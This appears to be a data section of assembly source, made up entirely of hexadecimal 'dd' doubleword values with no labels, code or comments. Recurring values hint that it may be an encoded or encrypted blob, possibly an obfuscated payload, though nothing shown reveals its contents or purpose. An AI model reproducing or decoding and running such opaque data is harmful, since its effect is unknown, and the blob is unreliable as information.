		dd 0DB56EAB0h, 325675BEh, 37AF7F9Ch, 92E7DF02h,	8C059A7Ah
		dd 52B68EA3h, 0C5D6783Bh, 0CD6B40Eh, 9D2E59Ch, 0DB5675B0h
		dd 3256BABBh, 7F0C93F0h, 1124A9D3h, 0CD6F4D8h, 11D2A4D9h
		dd 0CE56D5B0h, 325A6BBEh, 0B15975B1h, 3256BAB7h, 3256DEBEh
		dd 0CB16AEB1h, 0B2EBD54Eh, 26BFAD1Eh, 0F256D5B1h, 22794A44h
		dd 0DA8E2E60h, 0F21C7854h, 3C0E7717h, 5427AE14h, 37BF493Ah
		dd 0A456ABB1h, 0DCA97B51h, 52AE0D31h, 0E0D7B73Ah, 7B482907h
		dd 0C9D73BD0h, 0B6594630h, 3256577Bh, 2CDDCD48h, 3256D058h
		dd 8BEEC4B1h, 0D5D61128h, 0B930DA41h, 0D3D73B69h, 3D376378h
		dd 3256563Eh, 0B33052B1h, 3D96544Ah, 32567735h,	0B93015B1h
		dd 27D5B541h, 0DB565DB1h, 3256AEA1h, 0B4690B09h, 7FEB91D2h
		dd 6974834Ah, 2C5E1B42h, 0B35915D0h, 3256BAA5h,	32565258h
		dd 94E40B1h, 1F056E94h,	0B2137705h, 0B0976B91h,	3DAF8AE4h
		dd 32567E3Dh, 325352B1h, 0C4B95DB1h, 6ADAF799h,	72C4A8D0h
		dd 525004CEh, 3256C658h, 3C4EC1B1h, 3D4092D4h, 5DA87BD3h
		dd 0F7179796h, 0ED3AF74h, 0BBA30AD0h, 0CEA357F4h, 33D1DAD0h
		dd 0CB56EAB1h, 33AA0832h, 34483FBEh, 34BF5DB1h,	0AD56AEB1h
		dd 3692910Fh, 0B330CBB8h, 83C46E73h, 88DD8B19h,	34FF695Ch
		dd 26BFEA44h, 0F1565DB1h, 0C0DB6C57h, 72C252E1h, 5BF3CA0Fh
		dd 0C22A83BCh, 0B909A99Ch, 9DD6C833h, 0BA59DAB7h, 32565DB3h
		dd 53AF763Ah, 26A6E44h,	3256A258h, 4E1168B1h, 6F4198C2h
		dd 8636C512h, 325E53D6h, 0AD565DB1h, 28658516h,	6A37D028h
		dd 37F829BEh, 0B659D5B1h, 3256EAB0h, 87ECFE4Dh,	3D5013B2h
		dd 32565C32h, 0CA0652B1h, 0B2EBD53Ah, 3BBFAD1Eh, 6956D5B1h
		dd 1628B88Ch, 101873CFh, 0CB668688h, 32564C58h,	18A03FB1h
		dd 0E4608C79h, 0A6D1FDB7h, 81253EEBh, 3D0E7FA1h, 3253163Eh
		dd 33DCB5B1h, 0CE565DB1h, 4CBD143Ah, 0B659511Eh, 3256ABB0h
		dd 0D9D45649h, 265045CFh, 32567E58h, 2D6EACB1h,	0DC5BAC6Fh
		dd 3ECEFA8h, 3D366038h,	0BB376406h, 0B159C5F6h,	3256EAB9h
		dd 3254F2BEh, 5336BAB1h, 38EF3BD1h, 0A7E8C88Ch,	520636A1h
		dd 0FDE9A4D1h, 3256DB58h, 7DE7E1B1h, 260AEA5Eh,	9082FC7Eh
		dd 539D8E41h, 3D377F3Ah, 3256413Dh, 3FBECBB1h, 1B56D5B1h
		dd 648BF323h, 5EA949BDh, 0AC7E7F63h, 0B937A8E8h, 9DD61333h
		dd 325DBEB7h, 1473ABB1h, 17BFCE46h, 3AC60D0Eh, 24AFE46h
		dd 26BFE248h, 0FB565DB1h, 1CBC685Dh, 0D20FD3C3h, 83D35F7Ah
		dd 0D06D2A10h, 0BB0CA335h, 0BB597DEEh, 3256BABAh, 32565B58h
		dd 0A796C1B1h, 0DB2D5C7Ah, 3256AF21h, 325751BEh, 0F5AFEAB1h
		dd 32548DF4h, 0CEAABAB1h, 32564558h, 33DEA1B1h,	0CE5657B1h
		dd 33AEEE76h, 0DB56D5B1h, 3256EAB4h, 27EF22Bh, 0D9EC31BDh
		dd 3D50F2CFh, 3256AF34h, 0B0D5ABB1h, 34F9D55Ah,	21D4DAA5h
		dd 0DB56EAB1h, 325675BFh, 0D3EDDFFBh, 4921F0FBh, 50D5ECF3h
		dd 5DF881Ch, 325728BEh,	0BBA3D5B1h, 0B659FAF6h,	325675B7h
		dd 0B98830D1h, 0CAD53C69h, 0D3A1B2h, 3D5657B1h,	3256AA38h
		dd 0B0912DB1h, 34F96A0Ch, 325675B3h, 32175348h,	0BD595DB1h
		dd 3256AEA4h, 325FBED1h, 785AABB1h, 0F7C60F5Bh,	88C84B5Fh
		dd 71FBA3E9h, 30AE39D0h, 300FD0BEh, 0DA36AEB1h,	325657BCh
		dd 19CE67FEh, 56B247F3h, 0C1EBD265h, 6D371522h,	78BF6C30h
		dd 0B1377F91h, 3D5656CCh, 3256B635h, 20BECBB1h,	4F56D5B1h
		dd 130567CCh, 0D6E2008Eh, 0A9E59627h, 96EC8F5Ah, 32594704h
		dd 7DC857B1h, 6EED0143h, 0DFA76B61h, 43E301F5h,	3D362C59h
		dd 6B077A06h, 84593CD0h, 0B836AFF7h, 5389DC60h,	32562B18h
		dd 46D3DAB1h, 0DB56EAB1h, 325675BCh, 6121CF59h,	0BAA59922h
		dd 980A3BA2h, 0BF591754h, 3256ABBDh, 3256D258h,	7FD24CB1h
		dd 329D996Dh, 3256A858h, 15B7B1h, 0DAA29E91h, 0FD5D78D0h
		dd 0A0FAED66h, 0B1F0960Fh, 0B336EF59h, 0EE98F666h, 3ABFE98Ah
		dd 0A7565DB1h, 7A622CADh, 6AEDE3D3h, 327842D0h,	0B459D5B1h
		dd 3256EAB0h, 3EDC7A49h, 3D56BAB1h, 32565B32h, 32D6A1B1h
		dd 1F5657B1h, 3256AB4Eh, 37BE564Dh, 0CCE9E5D1h,	0A387AB30h
		dd 0C737B77Bh, 32561458h, 0B330CEB1h, 0B9CC6A47h, 3D05CA7Fh
		dd 3256C93Bh, 24D0E5B1h, 0DB5675B1h, 3256BAA0h,	0DF46C62Bh
		dd 0E78E309Ch, 0C91160Dh, 11564CDEh, 8FCC5E86h,	0DB504531h
		dd 325675BAh, 6EAB52B1h
		dd 0CA92E7C3h, 0B9E46E67h, 69AE64B5h, 32FF5E44h, 3DD6D5B1h
		dd 3256B034h, 0F4558DB1h, 8943BD1h, 5413EFD3h, 0B137563Ah
		dd 34BF5271h, 8B56ABB1h, 0C91117E1h, 8FD4E911h,	5250DA31h
		dd 0B659CC02h, 32565DB4h, 48C780Eh, 3D1E36C1h, 3256AE3Eh
		dd 52AEB5B1h, 75DF8BD0h, 52A315B9h, 5337E3E7h, 0DB5A1A38h
		dd 3256AEB4h, 0B117B79Eh, 307842DAh, 0C5AFD5B1h, 0F47D1669h
		dd 3D8E824Dh, 3256AF32h, 3246B4B1h, 0AE6AAEB1h,	4532F21Bh
		dd 1054EB99h, 0C01883FEh, 0F2D53F22h, 0B0558DB4h, 34F93A0Ch
		dd 325BB4D1h, 0CE7AEB1h, 0A6702720h, 0BF3F8E5Ah, 541572B6h
		dd 0B0C92530h, 3FBF3DD0h, 6C56BAB1h, 0C745B517h, 0E5D9B440h
		dd 5CADD2B7h, 644A18D1h, 75DFB4EBh, 325903B9h, 0FA8D75B1h
		dd 0BDFE0B3h, 9BCD845Eh, 96FBD7BDh, 3E11DE67h, 3256A658h
		dd 5622B8B1h, 30B8BED5h, 299E9FA1h, 0AFBF3FC9h,	3D565DB0h
		dd 3256BA3Eh, 3259BEB1h, 7F2ABB1h, 2E64D213h, 0A8BF4C20h
		dd 18AE8D77h, 137DA8Bh,	26BF3D71h, 2C56AEB1h, 0F7DAD425h
		dd 96AC393h, 0AA732D38h, 499AEA5Bh, 3DEAD830h, 3256BC3Ah
		dd 32D952B1h, 5356AEB1h, 0C757113Bh, 0B7592B19h, 3256D577h
		dd 5290E94Dh, 548FC2BEh, 4AD17C30h, 3096DED0h, 3256BE58h
		dd 75F68AB1h, 40258h, 67F68EC8h, 3C2F3532h, 3257CE45h
		dd 21BFBAB1h, 0C4565DB1h, 0AFD96E98h, 7A2998F2h, 8A856476h
		dd 0CC6CDF55h, 0E95DF3A3h, 327BF1BEh, 3FBFBAB1h, 0B2565DB1h
		dd 4E6F4A4Ch, 10EC5F4Ch, 81686866h, 9C244F3Bh, 34BFEC1Fh
		dd 325675B1h, 0CFEA99Ch, 33B5DD7Bh, 32572BBEh, 31A357B1h
		dd 0CB365E72h, 325059BEh, 0BA59EAB1h, 325675B1h, 3A1133D0h
		dd 3257D2BEh, 0C7A3AEB1h, 0DB5A1038h, 3256ABA2h, 0A727EDD9h
		dd 22A5A6F3h, 0B22306E4h, 1CA75B41h, 0DB1B6D7Eh, 3256AE29h
		dd 325ADEBEh, 0BF59ABB1h, 3256D5B7h, 32566ABEh,	0EAA175B1h
		dd 325138BEh, 0B4595DB1h, 3256AEB0h, 32A97244h,	0B259ABB1h
		dd 3256D5B0h, 3D90C144h, 32567F32h, 325353B1h, 19A05DB1h
		dd 0C5001EC1h, 0DBAF3769h, 3256ABBCh, 0F496FF8Fh, 31F613D7h
		dd 0F8AC4DFAh, 0F2D5DB97h, 0F4DD3DB3h, 0F94D11D7h, 3A11DED0h
		dd 324F2DBEh, 0DB36D5B1h, 3256EABFh, 0F09399C7h, 482F09DBh
		dd 0F65B4A93h, 8A3056F4h, 0BB3717C2h, 3FBFA7F6h, 0F756D5B1h
		dd 9615EEE7h, 6EAC072Dh, 71AF61D0h, 325EB449h, 0C0E8AEB1h
		dd 0E3B6C812h, 0CA370DFAh, 33DADA78h, 0CA56EAB1h, 52038D72h
		dd 3256B558h, 0D43D38B1h, 0D64BE0Bh, 7F077BADh,	0E2B72AD6h
		dd 2F57640Bh, 0DEDD8BD4h, 54EE13D1h, 325E538Eh,	0CA15DB1h
		dd 177F7B2Eh, 0B137C84Eh, 39BF5775h, 1156D5B1h,	0E76E45Ch
		dd 5FB3A082h, 52361B8Eh, 0FA8EDCD7h, 0F8E8C8D3h, 0BA5936A6h
		dd 3256ABB0h, 32563D4Dh, 0B30CEAB1h, 9DEF285Bh,	33D5B5B7h
		dd 0CA565DB1h, 0E4EC2549h, 5250F8CFh, 0CDD14330h, 0F5D78E29h
		dd 661DB3D2h, 33D27AD0h, 0CB56BAB1h, 3D369482h,	3256A83Fh
		dd 0AA9DD6B1h, 3D6C7EB2h, 3256D73Eh, 532A58B1h,	3D564A32h
		dd 32522C35h, 35DDA4B1h, 3E235144h, 325DD8BEh, 3D36ABB1h
		dd 0B6592206h, 3256EAB1h, 3A238AD0h, 3D36EA4Dh,	32565F30h
		dd 539C25B1h, 325E9E59h, 0F25D53B1h, 327D50BEh,	0B9AAEAB1h
		dd 68BF80B6h, 3D56BAB1h, 32564137h, 24DFA1B1h, 0DB5657B1h
		dd 3256ABA0h, 8CE72DB4h, 0F59EEC51h, 139350FEh,	594212C8h
		dd 2691DE26h, 325C29BEh, 0B33657B1h, 0FF79F576h, 5337B5E0h
		dd 0CDA99558h, 0D0D7154Eh, 774C70C5h, 32565059h, 0EDA81FB1h
		dd 0DBE253Bh, 6A623903h, 0B33047D9h, 6C58EF5Bh,	0CE13FCD0h
		dd 549C31D1h, 0CD379F3Ah, 5436A2C4h, 5436883Ah,	0DAB65E0Fh
		dd 3256D5B9h, 52A0FD84h, 0ADFE0F8Eh, 0CD37DBEAh, 0DB3655C4h
		dd 3256AEBBh, 0C8D6C832h, 357720F3h, 5237E13Ah,	54491D31h
		dd 5356150Bh, 0DAA38D4Eh, 325655A3h, 324327BEh,	22BF57B1h
		dd 0FE56ABB1h, 36CA43E5h, 2283BE10h, 0B3703276h, 39344E03h
		dd 0DD25271h, 5256AEB1h, 3251BFE3h, 0BF30ABB1h,	57CC9B7Fh
		dd 0B30FB03Ah, 5C92435Ah, 46BFDBD8h, 52565DB2h,	0E23E7030h
		dd 0DA363634h, 3256ABA0h, 0D268CB48h, 36901437h, 888AA602h
		dd 1B089F3Fh, 38E40709h, 77DDCFD0h, 3D07374Dh, 3D095C0Eh
		dd 3256D433h, 0B3712B1h, 0AD47AB6h, 5256BAB2h, 0EEE0A90Ah
		dd 325D46DBh, 845157B1h, 8A2E93D8h, 41377E2h, 0AEEF8C39h
		dd 0CD372A36h, 0DBA346F4h, 32565DA5h, 0A9248123h, 5FB6FC39h
		dd 49F84FFDh, 0A1769EBAh, 0E9BA26B2h, 32520A32h, 327C3EBEh
		dd 3BBF5DB1h, 3D56AEB1h, 0EA409141h, 89C865ECh,	325355BEh
		dd 0B836EAB1h, 0B1378D5Eh, 3D56B6CEh, 32565A35h, 4BF57B1h
		dd 0CB5657B1h, 0CDA95409h, 33D1DA4Eh, 0C756EAB1h, 32567008h
		dd 3FBF43B1h, 0F2565DB1h, 0EF7B7C55h, 715A7C33h, 59C3CB5Dh
		dd 3D367E42h, 0B9301506h, 96BF147Fh, 0CBA9454Fh, 2229DE48h
		dd 0B1D2A1B4h, 0DB5657B1h, 3256ABA3h, 0B082330Ch, 285C2E0Dh
		dd 79B94EDBh, 0CB16BF45h, 4DD58A5Bh, 0B759A8A1h, 32565717h
		dd 3256A758h, 70BBDAB1h, 5CBB105h, 0F577833h, 3EBFFB41h
		dd 0FD565DB1h, 75A1DCA2h, 3F7CAA27h, 0B9B70DA8h, 3D36D1F6h
		dd 39BF130Eh, 385675B1h, 33E42655h, 8BE225C5h, 52374BECh
		dd 0FFB0D6D7h, 32534257h, 0C381D5B1h, 5380C375h, 0C75A2A3Ah
		dd 32571858h, 35DD52B1h, 3D56AEB1h, 3256563Ch, 75DD52B1h
		dd 3FBFB5B5h, 0B656EAB1h, 776D8DFEh, 1281E384h,	77D6CD9Eh
		dd 3256A459h, 42DB1FB1h, 0C686D9B3h, 0DB8A77F9h, 3256EABFh
		dd 36EF18D6h, 0CCDDDBDDh, 27EC7040h, 530C251Dh,	0CE5A083Ah
		dd 3257E458h, 75DD20B1h, 0D9E88AB5h, 5331338Fh,	0CE5AE53Ah
		dd 32564958h, 197F2DB1h, 68A762DCh, 71758717h, 7915EC04h
		dd 48BEED49h, 3A094E9Ah, 32FB3FBEh, 60A35DB1h, 36012549h
		dd 32564658h, 0D326C9B1h, 76A3A9C0h, 0CCEE3782h, 0C51DE5B1h
		dd 677D9D17h, 3246B4A1h, 0A378AEB1h, 81DC2F1h, 0F8617EE4h
		dd 3E749440h, 67557599h, 3D3615A5h, 3256BA35h, 2889DDB1h
		dd 325147D0h, 811457B1h, 1CC79F60h, 6DDDB49Eh, 0E87D13BDh
		dd 325AFDBEh, 0B759BAB1h, 32565DB7h, 32562ABEh,	0D9D557B1h
		dd 520C5EB4h, 0B859133Ah, 3256EAB0h, 0DA361449h, 3256BABFh
		dd 0C8A90721h, 70278196h, 9107FDA1h, 3D0D15B5h,	3256D331h
		dd 32D3E5B1h, 535675B1h, 3256D358h, 325FB4B1h, 57EAEB1h
		dd 7C4BA416h, 0B94C5CDEh, 0B259D1F6h, 3256EAB6h, 3257F5BEh
		dd 0B9AABAB1h, 37BF51EEh, 2956AEB1h, 5EBDEA51h,	3D52F49Ah
		dd 3256D631h, 53AE8AB1h, 0DB539E32h, 3256BAB4h,	0C9D8254Fh
		dd 0B859CE68h, 325657B7h, 890B7830h, 39BF810Fh,	56EAB1h
		dd 42DB3D74h, 0C686C8B3h, 3137FFF9h, 9B5AAF3Bh,	4DD5AFB7h
		dd 0B759A8A1h, 3256D5BDh, 0FC4152D1h, 0F1D60895h, 0C717DB52h
		dd 0BBAA849Ah, 3D57AFEDh, 32565F30h, 30DEA4B1h,	5256D5B1h
		dd 0CDA952D0h, 0BB598A4Eh, 3256BAA4h, 32564D58h, 0DB9F2CB1h
		dd 1984F5Ah, 6F78C47Eh,	8FE62885h, 37EF1F8Ah, 525675B1h
		dd 5B963BD7h, 3EDD52E1h, 0DA56AEB1h, 325657B7h,	0B43D6ED6h
		dd 5308C3B6h, 52FD194Dh, 0BC77430Fh, 34DBB598h,	0B3565DB1h
		dd 64454A67h, 26BF36AFh, 3DA9544Dh, 3256D433h, 53A316B1h
		dd 3251F6BEh, 0B836BAB1h
		dd 0C4E15256h, 543667D0h, 0BF59913Ah, 3256ABA4h, 3256C558h
		dd 0D0869AB1h, 3F2B884Ah, 651E5513h, 0B7B1878Ah, 2294CF33h
		dd 37D958B1h, 5256ABB1h, 53AF123Ah, 324703E4h, 0C3FE75B1h
		dd 17C6C0E6h, 0A5437A51h, 3009656h, 0B9EAEA52h,	325D425Dh
		dd 0BCC0D5B1h, 0F9A53F38h, 0D9A71A8h, 54AEDA87h, 0C77F8230h
		dd 0CE922DD0h, 3257D9BEh, 52AAABB1h, 32563D48h,	0B30CEAB1h
		dd 9DE8C85Bh, 33D4B5B7h, 0CA565DB1h, 325F24BEh,	543657B1h
		dd 0B2AF450Fh, 0B937FE58h, 9D283C0Bh, 0FB6580B7h, 32573DBEh
		dd 0B1AE5DB1h, 0B659AE8Eh, 325654C3h, 324E21BEh, 21BFD5B1h
		dd 1D56EAB1h, 0FBE353Fh, 0F3E171A0h, 0E84055C8h, 0E7C66445h
		dd 3ABF2FB5h, 6D56ABB1h, 0F3EA807Ah, 0B96FA821h, 33DE7AB6h
		dd 0CA56BAB1h, 525A284Eh, 92D8140Eh, 0E7A0D7AEh, 3A2354D0h
		dd 325A5EBEh, 0BE59EAB1h, 325675B7h, 325639BEh,	52065DB1h
		dd 0CA37683Ah, 32551E59h, 33D0A4B1h, 0CA56D5B1h, 0B7592ABAh
		dd 325675A7h, 0C751314Dh, 32566858h, 35D4A1B1h,	3D5657B1h
		dd 3256AA31h, 0F5D52CB1h, 325D03A5h, 7D9575B1h,	1C8B9B70h
		dd 44707FD2h, 0CD0F4762h, 39BFA84Eh, 4C56ABB1h,	75D65781h
		dd 0EA0FE638h, 77DFD337h, 0C0DDDA4Dh, 44A4DCD1h, 5360404Ah
		dd 3E23A8D0h, 325728BEh, 0CDAED5B1h, 0CDAEE2C4h, 52368086h
		dd 6FBF3BD7h, 0B5BFDDACh, 324747D0h, 0B43E57B1h, 0C62B3107h
		dd 9B27F1B6h, 0C7C4A7BBh, 537D104Bh, 32540F59h,	33D352B1h
		dd 0C756AEB1h, 0B65997BAh, 3256ABA3h, 55BF2C4Dh, 3D56EAB3h
		dd 3256703Fh, 86AFDAB1h, 77DD3CE9h, 47E3CE4Dh, 35D458D0h
		dd 3D56ABB1h, 3256D430h, 356F16B1h, 3016F7BEh, 0B659BAB1h
		dd 32565DABh, 324746D1h, 0B2057B1h, 734738FFh, 956B5B73h
		dd 0C7552028h, 6B42C7D0h, 77A9DB48h, 23BF3D4Dh,	1F56AEB1h
		dd 9CD29E16h, 0FF07076Ah, 0DA5CD729h, 4E844796h, 27A99630h
		dd 0B137C6C3h, 3D5659CEh, 32569535h, 38DB58B1h,	5256ABB1h
		dd 8A8F5ED7h, 44190C68h, 3E29F6D0h, 13D2B5B1h, 3D565DB1h
		dd 3256A538h, 0B93037B1h, 32D7A469h, 5356D5B1h,	3256B658h
		dd 32509CB1h, 7F77BAB1h, 0C53A6F86h, 0CDA95109h, 3253BE4Eh
		dd 7955ABB1h, 8B9C2F89h, 3256EAB4h, 32567F58h, 0F68759B1h
		dd 0E13F2E38h, 0C1C48AE3h, 0E8BFAB1Ah, 0CAA9544Fh, 36D2DAD1h
		dd 5456EAB1h, 0DBFF040Eh, 3256BAA5h, 8B40C41Ah,	3A076FEEh
		dd 2816874Fh, 39249419h, 950FB011h, 222969D0h, 0A0D27AB4h
		dd 0CA56BAB1h, 34462232h, 32E62BBEh, 0DB3657B1h, 3256ABBAh
		dd 0A3285CA8h, 9610F581h, 0DBAF5CC0h, 3256BABBh, 6A34D97Ch
		dd 24B84E67h, 733722C1h, 324442D1h, 0D551D5B1h,	37B1B059h
		dd 28931E0h, 0E491538Ch, 105822D4h, 539E25D7h, 0DB52103Ah
		dd 3256ABA0h, 30146EC1h, 0CA9E6BADh, 3A551A2Bh,	0BEC4341h
		dd 3E09D6CBh, 325F21BEh, 523657B1h, 157F14D0h, 0CA37EE42h
		dd 32567E58h, 3ADA7AB1h, 3D56BAB1h, 32565F38h, 5237CEB1h
		dd 96B1D6D7h, 0C8E1A4D4h, 36115ED0h, 325E6BBEh,	543675B1h
		dd 0B989A608h, 0B9AA3C41h, 5236A2EEh, 7A6A9730h, 8559F17Ah
		dd 0DB37B47Bh, 3256EAF0h, 75DD8948h, 6DDD4FB5h,	6D7DA8BDh
		dd 325A47B5h, 0C15657B1h, 70691335h, 91A16B6Fh,	843666A3h
		dd 0D9D514CAh, 325C53B4h, 14035DB1h, 247AE596h,	65F10C87h
		dd 3146D432h, 325550BEh, 73A3EAB1h, 3D8F5E49h, 3256B63Dh
		dd 34D452B1h, 3D56AEB1h, 3256573Eh, 330A22B1h, 0CDEE20B0h
		dd 52A9154Eh, 0E8DC963Bh, 35DDB5D0h, 52565DB1h,	5C59550Eh
		dd 37EF36DBh, 3D56ABB1h, 3256D43Fh, 99A512B1h, 325DFEBEh
		dd 34BFBAB1h, 1D565DB1h, 5B41AFAh, 0CF0DBE30h, 39BF544Eh
		dd 0B056D5B1h, 0E4880067h, 106148AFh, 0DB378AC3h, 32565DBEh
		dd 862213DAh, 0DB9EBFF4h, 2AD03915h, 0FB73B1D2h, 3256EC58h
		dd 944150B1h, 0F0D9E5F6h, 3DBF5DB9h, 2256AEB1h,	1D08A4E3h
		dd 878DB69Fh, 0E6EA27D0h, 3D03E6A1h, 32567D3Fh,	0D3D6DAB1h
		dd 0ECDD3BBDh, 52BA25D0h, 32564359h, 140A5AB1h,	0E046CFE9h
		dd 0ED20B010h, 1ADD9EC3h, 0A9F351A5h, 0C0E152E4h, 43A62FEFh
		dd 537557BCh, 0CAAA6F32h, 3ABFB548h, 0A256EAB1h, 8ECC5D5h
		dd 0CAD61F3Fh, 0DB5E183Ah, 3256AEA2h, 6F500879h, 0A64379EDh
		dd 0AA0F99A1h, 0C6E6D45Fh, 961DBD9h, 0B059B6F4h, 32565DE5h
		dd 6B06CED1h, 0B93736D1h, 776DCA7Fh, 73D1DAA1h,	0DB56EAB1h
		dd 325675B8h, 0F22A7C17h, 0A55D0A69h, 0CE13693Ch, 325657B1h
		dd 32D3A4D1h, 0DA56D5B1h, 3256EAB8h, 0F6BE994h,	5979FBE5h
		dd 70B5DCD1h, 6C1D9624h, 326BBED0h, 8436ABB1h, 32D6DA03h
		dd 5356EAB1h, 33AA3076h, 3D56BAB1h, 32565437h, 0EADDCEB1h
		dd 0F2D5900Eh, 2ABFCAB7h, 0DB56D5B1h, 3256EAA2h, 0ACFE0643h
		dd 0B8D550DCh, 0F501E98Fh, 0B8EFD555h, 536247BDh, 325E28BEh
		dd 0B959D5B1h, 3256EAB3h, 0B9AF14D1h, 533646F4h, 3E94A178h
		dd 324747B1h, 5EF657B1h, 8070CDCCh, 6AB492A2h, 0ECF8FBE7h
		dd 3DADB883h, 3256B631h, 3251B4B1h, 1079AEB1h, 0F499C30Bh
		dd 0B759FE2Ah, 3256D5A1h, 3256E158h, 0B18038B1h, 0B5D3E0E7h
		dd 0F8D0F96Ch, 0B259CED1h, 325657B1h, 538520D7h, 32535ABEh
		dd 0B330EAB1h, 53617C46h, 3D36563Ah, 32565E39h,	0F3DDC8B1h
		dd 0FB7EEED7h, 0CE9228D0h, 325F54BEh, 0CE36EAB1h, 3256FEBEh
		dd 5237BAB1h, 52AED6D1h, 32562EBEh, 0B93057B1h,	0DA37CA69h
		dd 3256D5B1h, 9BC6BEBh,	0CA50DA75h, 325C37BEh, 3D365DB1h
		dd 3256AE38h, 533737B1h, 1AA6282h, 6FDF2D6Ah, 34BF8A4Dh
		dd 0D5675B1h, 6D46A704h, 0B937A16Fh, 9D28780Bh,	325EBEB7h
		dd 69ECABB1h, 0A6A219DAh, 0DD56420h, 0F3D27AB1h, 3D56BAB3h
		dd 32565A36h, 0DDD6CEB1h, 53D8E3D4h, 3256A458h,	0A9222FB1h
		dd 19F0190Bh, 5C5B0471h, 2410CBDAh, 3DA96232h, 3256FA34h
		dd 0F5D5AEB1h, 14DEA4A5h, 5256D5B1h, 3256E659h,	607A0B1h
		dd 2C43C6A0h, 0F8A8FF13h, 3FBFF173h, 2C5657B1h,	186C354Eh
		dd 0B9106955h, 3B9397B4h, 32589CD0h, 4F05BAB1h,	418B7982h
		dd 0C06EBDCCh, 0A74A01DCh, 0CDA92E58h, 0ECD7B54Eh, 793FF54Bh
		dd 0B187CED7h, 362939D0h, 4D252B1h, 0DB56AEB1h,	325657BAh
		dd 2C9B8C79h, 0A0DC2A1Bh, 0B13D06CDh, 3D5679CEh, 3256A635h
		dd 85593DB1h, 62EE146Ah, 0DB374670h, 3256AB89h,	325156BEh
		dd 0B459EAB1h, 325675B0h, 0CE134548h, 325FB4D1h, 0A3BAEB1h
		dd 88D50D0Dh, 0DB0843BAh, 3256D5B8h, 52A222DCh,	685892BCh
		dd 0F5D5DBBCh, 3DBFA1A5h, 0CBA9514Eh, 37462832h, 32DC2FBEh
		dd 0B1AFD5B1h, 3D50FACEh, 3256D234h, 2BD1B5B1h,	0DB565DB1h
		dd 3256AEA5h, 0D5AF09Bh, 0BA1E81C7h, 9B00359Fh,	55A2F700h
		dd 780D0EEFh, 325E53F0h, 0D3125DB1h, 0EF32F54Ch, 75DDD382h
		dd 0DB36CBB5h, 3256D5A2h, 0FC388C04h, 6BEC6C18h, 1A24703Fh
		dd 68992544h, 54528125h, 5337953Ah, 0DB5AF43Ah,	3256D5A2h
		dd 3E9AC996h, 0F6AAE403h, 4802FA7Bh, 9D45874Eh,	0DBE7310Bh
		dd 3256575Dh, 3256A058h, 0F7135EB1h, 0D68E3D30h, 2C2E9B9Bh
		dd 0CE52FD3Ah, 3E09D644h, 325725BEh, 0DBA357B1h, 3256AB0Fh
		dd 3256DA58h, 2B8019B1h, 0DA3A6868h, 29D1D918h,	1ED5A9A8h
		dd 0DB52E93Ah, 325657B6h, 5AABB78Fh, 524C87B0h,	3256E559h
		dd 83E700B1h, 92609784h
		dd 4EEB7ED7h, 0C920B0B0h, 0DA0E0CE7h, 3256ABA2h, 8B7121ECh
		dd 9A12E62Fh, 0FAA38D88h, 5B085FDDh, 6B789861h,	3E0925D0h
		dd 53C7E6D1h, 325E2ABEh, 0B759D5B1h, 3256EAB3h,	6D7D14D1h
		dd 0DB01DAB5h, 32565DBEh, 6F8102B0h, 0E1A91E52h, 31902CD9h
		dd 6941C4A0h, 88E6BD7h,	3D3614A1h, 3256BC3Bh, 32DA52B1h
		dd 5456AEB1h, 5397C10Fh, 0CE534032h, 3146AA32h,	32426FBEh
		dd 0B45975B1h, 3256BAB0h, 35BF1C44h, 0C556AEB1h, 727367E6h
		dd 0EB7D8D68h, 33D2DA48h, 0CE56EAB1h, 33572938h, 3D8830D1h
		dd 32565C3Bh, 8A3757B1h, 0CDA9A84Eh, 529C20D1h,	3256C458h
		dd 0DD8A3CB1h, 0B207FC13h, 0DFBF80Dh, 665D7B50h, 53376AB6h
		dd 32565208h, 324642B1h, 9B1BD5B1h, 352A316Fh, 363DC6CDh
		dd 0F1C7B9F7h, 99A52921h, 0CF1A4749h, 23BFA84Eh, 2056ABB1h
		dd 719ADDAEh, 0CECAC49Dh, 4B202910h, 8E7F8056h,	0B9303DD0h
		dd 77DDCF6Bh, 3258BE4Dh, 7C75ABB1h, 7DE3D4E4h, 67C8012h
		dd 1FFAC2E1h, 3D954278h, 32565036h, 0B330CEB1h,	3DA7CE57h
		dd 3256AB3Dh, 5206B4B1h, 32506FBEh, 0D1D775B1h,	222F04A3h
		dd 2144F50Bh, 0BD59CFC5h, 325657B6h, 325729BEh,	63AAD5B1h
		dd 3256ED58h, 55AA8FB1h, 84427F67h, 3250B4E2h, 887BAEB1h
		dd 69DDFBA4h, 3256AB59h, 0D8D78FB1h, 34F92D09h,	32567358h
		dd 0CE3937B1h, 529F9FBBh, 4F082309h, 768CD695h,	5315AD37h
		dd 4DE64F3Ch, 5436EC1Eh, 82F7F10Fh, 56EEDB38h, 0C7565DB1h
		dd 3252DA59h, 39DDA2B1h, 3256A658h, 311290B1h, 0D00FCC3Eh
		dd 0FD60D75Bh, 0F36D7C79h, 320FB448h, 31A3AEB1h, 9AF53FAh
		dd 45D4A470h, 5256D5B1h, 31AF8B48h, 9AA65FAh, 35D4B570h
		dd 0CE565DB1h, 3256B158h, 0B7BFABB1h, 3D56ABB1h, 3256C63Eh
		dd 325803B1h, 0DA3675B1h, 42ACA4ECh, 6B27FD8h, 0B7DCD68Bh
		dd 32563058h, 325B42B1h, 5FFBD5B1h, 0B0383886h,	0D7275DEFh
		dd 0BF9F1FB0h, 8201402Bh, 325D47B7h, 0CA5657B1h, 6C7AF853h
		dd 55621A63h, 0DB8515AFh, 325675B9h, 0E321E96Ah, 63102F21h
		dd 32568558h, 0A8DBA2B1h, 34E6F1F2h, 3256D258h,	0C5174B1h
		dd 676F8A1Eh, 3256AA58h, 1906C5B1h, 0E6C3554Bh,	0C604943Ah
		dd 167BA873h, 0C7852AD6h, 3ED2E5EAh, 3D5675B1h,	3256BC3Bh
		dd 32DA52B1h, 6B56AEB1h, 325AD9BEh, 0B859ABB1h,	3256D5B7h
		dd 325660BEh, 0B85975B1h, 3256BAB6h, 54ACD6D1h,	6A37613Ah
		dd 3BBF9444h, 0BA56ABB1h, 11BDBF9Bh, 10305B81h,	0DEDD80E4h
		dd 3256BC58h, 0B2D226B1h, 0DA24D498h, 325657B1h, 21BC2AEBh
		dd 0DB507A78h, 3256EAB7h, 0B6F9C80Dh, 0B336A875h, 0B9792267h
		dd 3DAECEF1h, 53378906h, 325B42D1h, 9CDED5B1h, 9ED983A6h
		dd 0ADB08314h, 0BF05BC7Ch, 9D29ED0Bh, 77DD5BB7h, 36DB58B9h
		dd 5256ABB1h, 0BB37143Ah, 0C4D78AB6h, 739D1AC4h, 3256B659h
